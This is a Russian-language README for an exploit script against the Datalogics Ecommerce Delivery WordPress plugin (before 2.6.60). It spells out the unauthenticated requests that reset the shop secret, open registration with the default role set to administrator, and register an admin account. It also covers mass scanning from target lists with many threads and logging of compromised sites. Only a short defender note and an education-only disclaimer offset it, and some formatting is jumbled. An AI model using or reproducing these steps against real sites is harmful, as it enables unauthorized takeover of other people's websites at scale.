
Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - Неаутентифицированное повышение привилегий
Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - Неаутентифицированное повышение привилегий
PoC / Эксплойт-скрипт:
CVE-2026-2631.py
Автор: Khaled Alenazi (Nxploited) – Nxploited ZeroDay Hub
Контакт: Telegram:@Kxploit
< 2.6.60 (не включая)CVE-2026-26319.8 (Critical)AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HПлагин Datalogics Ecommerce Delivery – Datalogics предоставляет неаутентифицированную конечную точку:
/wp-json/gsf/v1/update-options
Этот скрипт использует данную конечную точку для:
shop_secret с помощью уязвимого действия resetStoreConfigrations.users_can_register = 1.administrator: default_role = administrator.wp-login.php?action=registerВ случае успеха любой новый пользователь, созданный через форму регистрации, получит роль administrator.
users_can_register = 1default_role = administratorrich (цветная и обновляемая в реальном времени таблица).Login_admin.txt.Установите необходимые пакеты:
pip install -r requirements.txt
Пример requirements.txt:
requests
rich
urllib3
Или установите вручную:
pip install requests rich urllib3
Для каждой цели:
Нормализация URL
http://, если он отсутствует.Сброс shop_secret
/wp-json/gsf/v1/update-optionsaction = resetStoreConfigrationsshop_secret = <new_secret>app secret key has been updated successfullyОбновление опций WordPress
action = createUpdateOptionoption_key = users_can_register, option_value = 1option_key = default_role, list.txt (или пользовательского файла).N блоков с помощью chunkify.N рабочих потоков, каждый обрабатывает свой список целей.Queue для сообщений о статусе, передаваемых потоку вывода.printer_loop) обновляет живую таблицу rich:
python3 CVE-2026-2631.py
В интерактивном режиме будут запрошены:
Файл с целями
Targets file (one host/URL per line) [list.txt]:list.txtvictim.comhttps://target-site.comhttp://example.org/blogКоличество потоков
Threads (1-50) [10]:1050Значение shop_secret
shop_secret [Nxploited_newSecret]:Nxploited_newSecretresetStoreConfigrations.Эти учётные данные будут использованы для попытки регистрации на каждой уязвимой цели.
Создайте list.txt (или любой другой файл) с одной целью в строке:
example1.com
http://example2.com
https://shop.example3.net
blog.target-site.org
Скрипт будет:
http://, если он отсутствует./.Все успешные операции (даже если регистрация пользователя не удалась, но опции установлены) записываются в:
Login_admin.txt
Пример строки:
http://example1.com | register_url: http://example1.com/wp-login.php?action=register | shop_secret: Nxploited_newSecret | reset_ok,option_ok,option_ok,register_open,registered user=Nx_test1 [email protected] pass=Nx_adminSA
Примеры статусов в живой таблице:
SUCCESS – опции установлены и/или пользователь зарегистрирован.FAILED – сброс/опции не удались, уязвимость не эксплуатируется.ERROR – исключение, сетевые ошибки, таймауты и т. д.POST /wp-json/gsf/v1/update-options
shop_secretaction=resetStoreConfigrations
shop_secret=<new_secret>
action=createUpdateOption
shop_secret=<new_secret>
option_key=users_can_register
option_value=1
action=createUpdateOption
shop_secret=<new_secret>
option_key=default_role
option_value=administrator
GET/POST /wp-login.php?action=register
Скрипт:
_wpnonce, если он присутствует.normalize_site(raw: str) -> str
Нормализует URL целей.
send_reset_secret(site: str, secret: str, timeout: int = 10) -> (bool, str)
Пытается выполнить действие resetStoreConfigrations.
send_option(site: str, secret: str, key: str, value: str, timeout: int = 10) -> (bool, str)
Устанавливает опции WordPress через уязвимую конечную точку.
check_registration_open(site: str, timeout: int = 10) -> (bool, str)
Проверяет, открыта ли регистрация и доступна ли форма.
try_register_user(...) -> (bool, str)
Пытается зарегистрировать указанного пользователя.
write_success_line(site: str, secret: str, detail: str)
Записывает детали успеха в Login_admin.txt.
worker(...)
Потоковый рабочий процесс, который:
$ python3 CVE-2026-2631.py
[Banner / ASCII Art]
Targets file (one host/URL per line) [list.txt]:
> list.txt
Threads (1-50) [10]:
> 20
shop_secret [Nxploited_newSecret]:
> NxSecret2026!
Registration username [Nx_test1]:
> admin_nx
Registration email [[email protected]]:
> [email protected]
Registration password [Nx_adminSA]:
> SuperStrongP@ss!
[Live table starts showing each target’s status]
Processed 5/20 targets · Output: Login_admin.txt
Done. Successful sites (if any) saved to Login_admin.txt.
Для защитников / владельцев сайтов:
wp_users./wp-json/gsf/v1/update-options/wp-login.php?action=registerДанный скрипт предоставляется строго в образовательных целях и для авторизованного тестирования безопасности.
Если вы не согласны с этими условиями, не используйте этот скрипт.
CVE-2026-2631@Kxploit в TelegramОставайтесь в безопасности, занимайтесь хакингом ответственно. 🕶️💻
option_value = administratorwordpress option has been created or updated successfullyПроверка открытой регистрации
/wp-login.php?action=registerUsers can register, Anyone can register, user_registration, registerformuser registration is currently not allowedПопытка регистрации пользователя
_wpnonce из скрытого поля ввода, если он присутствует.user_login, user_emailuser_pass/user_pass2, если поля пароля существуют_wpnonce, _wp_http_referer, redirect_to, wp-submit=Registerregistration complete, check your email, user registereduser_already_existsЛогирование
Login_admin.txt<site> | register_url: <url> | shop_secret: <secret> | <details>
Учётные данные для регистрации
Registration username [Nx_test1]:Registration email [[email protected]]:Registration password [Nx_adminSA]:shop_secretprinter_loop(queue: Queue, total: int)
Читает сообщения из очереди и обновляет живую таблицу UI на основе rich.
main()
Управляет: